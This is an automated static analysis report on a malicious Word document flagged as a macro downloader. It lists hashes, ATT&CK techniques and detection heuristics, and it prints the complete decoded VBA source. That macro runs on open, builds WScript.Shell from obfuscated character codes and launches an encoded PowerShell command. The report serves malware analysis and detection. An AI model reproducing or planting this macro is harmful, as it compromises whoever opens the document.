Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 30f119c0cccef9cd…

MALICIOUS

Office (OOXML)

239.1 KB Created: 2021-10-27 15:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-31
MD5: 5811e86cfa0891dd1024d48d64966de9 SHA-1: b1662ea47db631632093145413d9220a524b5cf1 SHA-256: 30f119c0cccef9cdafbf01f56a422522023bbaa56dc51e810fcdbe19251e2104
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

This OOXML document contains multiple high-severity VBA macro heuristics, including AutoOpen, Document_Open, and Workbook_Open, indicating automatic execution upon opening. The critical ClamAV detection and the presence of VBA macros strongly suggest a downloader. The VBA script, though obfuscated, likely attempts to download and execute a second-stage payload, aligning with the 'Doc.Downloader.Generic' detection.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        gfjgur = " " & jrurm & " " & JFkrri & "=="
        CreateObject(fhurmm & DJke).Run$ JFkeibf & gfjgur
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        JFDfemfvof
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
        JFDfemfvof
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
        JFDfemfvof
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub Auto_Open()
        JFDfemfvof
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tempuri.org/IRoamingSe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6067 bytes
SHA-256: 27968954d4a7b04bb7994fd42c1a49c1713ce69e805248eb37097a8857a05b1b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    JFDfemfvof
End Sub

Sub AutoOpen()
    JFDfemfvof
End Sub

Sub Workbook_Open()
    JFDfemfvof
End Sub

Sub Document_Open()
    JFDfemfvof
End Sub

Function DJeufem()
    agrr = Chr(99)
    jgi = Chr(65)
    oep = Chr(66)
    eit = Chr(118)
    lgo = Chr(72)

    VJVdufm = agrr & jgi & oep & eit & jgi & lgo & agrr & jgi & Chr(90) & Chr(81) & oep & Chr(121) & jgi & lgo & Chr(77) & jgi & Chr(97) & jgi & oep & Chr(108) & jgi & Chr(71) & Chr(119) & jgi & Chr(98) & jgi & jgi & Chr(117) & jgi & Chr(71) & Chr(85) & jgi & Chr(101) & jgi & oep & Chr(108) & jgi & Chr(67) & jgi & jgi & Chr(76) & Chr(81) & oep & Chr(51) & jgi & Chr(67) & jgi & jgi & Chr(77) & Chr(81) & jgi & Chr(103) & jgi & Chr(68) & Chr(48) & jgi & Chr(77) & Chr(81) & jgi & Chr(55) & jgi & Chr(69) & Chr(107) & jgi & Chr(98) & Chr(103) & oep & Chr(50) & jgi & Chr(71) & Chr(56) & jgi & Chr(97) & Chr(119) & oep & Chr(108) & jgi & Chr(67) & Chr(48) & jgi & Chr(86) & Chr(119) & oep & Chr(108) & jgi & Chr(71) & Chr(73) & jgi & Chr(85) & Chr(103) & oep & Chr(108) & jgi & lgo & Chr(69) & jgi & Chr(100) & Chr(81) & oep & Chr(108) & jgi & lgo & Chr(77) & jgi & Chr(100) & jgi & jgi & Chr(103) & jgi & Chr(67) & Chr(48) & jgi & Chr(86) & Chr(81) & oep & Chr(83) & jgi & Chr(69) & Chr(107) & jgi & Chr(73)

    frkgiri = jgi & oep & Chr(111) & jgi & lgo & Chr(81) & jgi & Chr(100) & jgi & oep & Chr(119) & jgi & lgo & Chr(77) & jgi & Chr(79) & Chr(103) & jgi & eit & jgi & Chr(67) & Chr(56) & jgi & Chr(89) & Chr(103) & oep & Chr(112) & jgi & lgo & Chr(81) & jgi & Chr(76) & Chr(103) & oep & Chr(115) & jgi & lgo & Chr(107) & jgi & Chr(76) & Chr(119) & jgi & Chr(122) & jgi & Chr(71) & Chr(115) & jgi & Chr(83) & Chr(119) & oep & Chr(105) & jgi & Chr(70) & Chr(73) & jgi & Chr(78) & Chr(103) & oep & Chr(122) & jgi & Chr(67) & jgi & jgi & Chr(76) & Chr(81) & oep & Chr(80) & jgi & Chr(67) & jgi & jgi & Chr(81) & Chr(119) & jgi & Chr(54) & jgi & Chr(70) & Chr(119) & jgi & Chr(86) & Chr(81) & oep & Chr(122) & jgi & Chr(71) & Chr(85) & jgi & agrr & Chr(103) & oep & Chr(122) & jgi & Chr(70) & Chr(119) & jgi & Chr(82) & Chr(119) & oep & Chr(67)

    KFiermvp = jgi & Chr(69) & Chr(56) & jgi & Chr(87) & Chr(81) & oep & Chr(70) & jgi & Chr(70) & Chr(73) & jgi & Chr(88) & jgi & oep & oep & jgi & lgo & jgi & jgi & agrr & jgi & oep & Chr(69) & jgi & Chr(71) & Chr(69) & jgi & Chr(100) & jgi & oep & Chr(104) & jgi & Chr(70) & Chr(119) & jgi & Chr(84) & jgi & oep & eit & jgi & Chr(71) & Chr(77) & jgi & Chr(89) & Chr(81) & oep & Chr(115) & jgi & Chr(70) & Chr(119) & jgi & Chr(86) & jgi & oep & Chr(108) & jgi & Chr(71) & Chr(48) & jgi & agrr & jgi & oep & agrr & jgi & lgo & agrr & jgi & Chr(90) & Chr(81) & oep & Chr(105) & jgi & Chr(71) & Chr(103) & jgi & Chr(98) & Chr(119) & oep & Chr(122) & jgi & lgo & Chr(81) & jgi & Chr(76) & Chr(103) & oep & Chr(108) & jgi & lgo & Chr(103) & jgi & Chr(90) & Chr(81) & jgi & Chr(55) & jgi & Chr(70) & Chr(77) & jgi & Chr(100) & jgi & oep & Chr(104) & jgi & lgo & Chr(73) & jgi & Chr(100) & jgi & jgi & Chr(116) & jgi & Chr(70) & jgi & jgi & agrr & Chr(103) & oep & eit & jgi & Chr(71) & Chr(77) & jgi & Chr(90) & Chr(81)
    vpror = oep & Chr(122) & jgi & lgo & Chr(77) & jgi & Chr(73) & jgi & jgi & Chr(116) & jgi & Chr(69) & Chr(89) & jgi & Chr(73) & jgi & oep & Chr(68) & jgi & Chr(68) & Chr(111) & jgi

    vffkbjr = Chr(88) & jgi & oep & Chr(86) & jgi & lgo & Chr(77) & jgi & Chr(90) & Chr(81) & oep & Chr(121) & jgi & lgo & Chr(77) & jgi & Chr(88) & jgi & oep & lgo & jgi & Chr(69) & Chr(73) & jgi & Chr(84) & Chr(119) & oep & Chr(90) & jgi & Chr(69) & Chr(85) & jgi & Chr(85) & Chr(103) & oep & agrr & jgi & Chr(69) & Chr(69) & jgi & agrr & jgi & oep & Chr(119) & jgi & Chr(69) & Chr(81) & jgi & Chr(89) & Chr(81) & oep & Chr(48) & jgi & Chr(71) & Chr(69) & jgi & Chr(88) & jgi & oep & Chr(77) & jgi & Chr(71) & Chr(56) & jgi & Chr(89) & Chr(119) & oep & Chr(104) & jgi & Chr(71) & Chr(119) & jgi & Chr(88) & jgi & oep & Chr(85) & jgi & Chr(71) & Chr(85) & jgi & Chr(98) & Chr(81) & oep & Chr(119) & jgi & Chr(70) & Chr(119) & jgi & Chr(100) & Chr(119) & oep & Chr(108) & jgi & Chr(71) & Chr(73) & jgi & Chr(97) & jgi & oep & eit & jgi & lgo & Chr(77) & jgi & Chr(100) & jgi & jgi & Chr(117) & jgi & Chr(71) & Chr(85) & jgi & Chr(101) & jgi & oep & Chr(108) & jgi & Chr(67) & jgi & jgi & Chr(76) & Chr(81)

    biigri = oep & oep & jgi & Chr(67) & jgi & jgi & Chr(74) & Chr(119) & jgi & Chr(116) & jgi & Chr(71) & Chr(85) & jgi & Chr(73) & jgi & oep & Chr(106) & jgi & Chr(71) & Chr(48) & jgi & Chr(90) & jgi & jgi & Chr(103) & jgi & Chr(68) & Chr(107) & jgi & Chr(77) & Chr(81) & jgi & Chr(117) & jgi & Chr(68) & Chr(69) & jgi & Chr(77) & Chr(103) & jgi & Chr(120) & jgi & Chr(67) & Chr(52) & jgi & Chr(77) & Chr(81) & jgi & Chr(51) & jgi & Chr(68) & agrr & jgi & Chr(76) & Chr(103) & jgi & Chr(121) & jgi & Chr(68) & jgi & jgi & Chr(78) & jgi & jgi & Chr(103) & jgi & Chr(68) & Chr(103) & jgi & Chr(77) & jgi & jgi & Chr(52) & jgi & Chr(68) & jgi & jgi & Chr(74) & Chr(119) & jgi & Chr(103) & jgi & Chr(67) & Chr(48) & jgi & Chr(100) & Chr(119) & oep & Chr(112) & jgi & Chr(67) & jgi & jgi & Chr(97) & jgi & jgi & Chr(55) & jgi & jgi

    DJeufem = VJVdufm & frkgiri & KFiermvp & vpror & vffkbjr & biigri
End Function

Private Sub JFDfemfvof()

    ffLFD = "e"
    fhurmm = Chr(50 + 69) & Chr(35 + 65 + 15) & Chr(67 + 32) & Chr(35 + 64 + 15) & Chr(30 + 64 + 11) & "p" & "t."
    DJke = "S" & "h" & ffLFD & "ll"
    JFkeibf = "p" & "o" & "w" & ffLFD & "r" & DJke & "." & ffLFD & "x" & ffLFD
    jrurm = Chr(45) & ffLFD & Chr(99)
    JFkrri = DJeufem
    gfjgur = " " & jrurm & " " & JFkrri & "=="
    CreateObject(fhurmm & DJke).Run$ JFkeibf & gfjgur
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 48640 bytes
SHA-256: 53f03122ddbcfef2cd43e89013f1d813b9e5ef3a18a8c25b3a9e74415f782f40
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely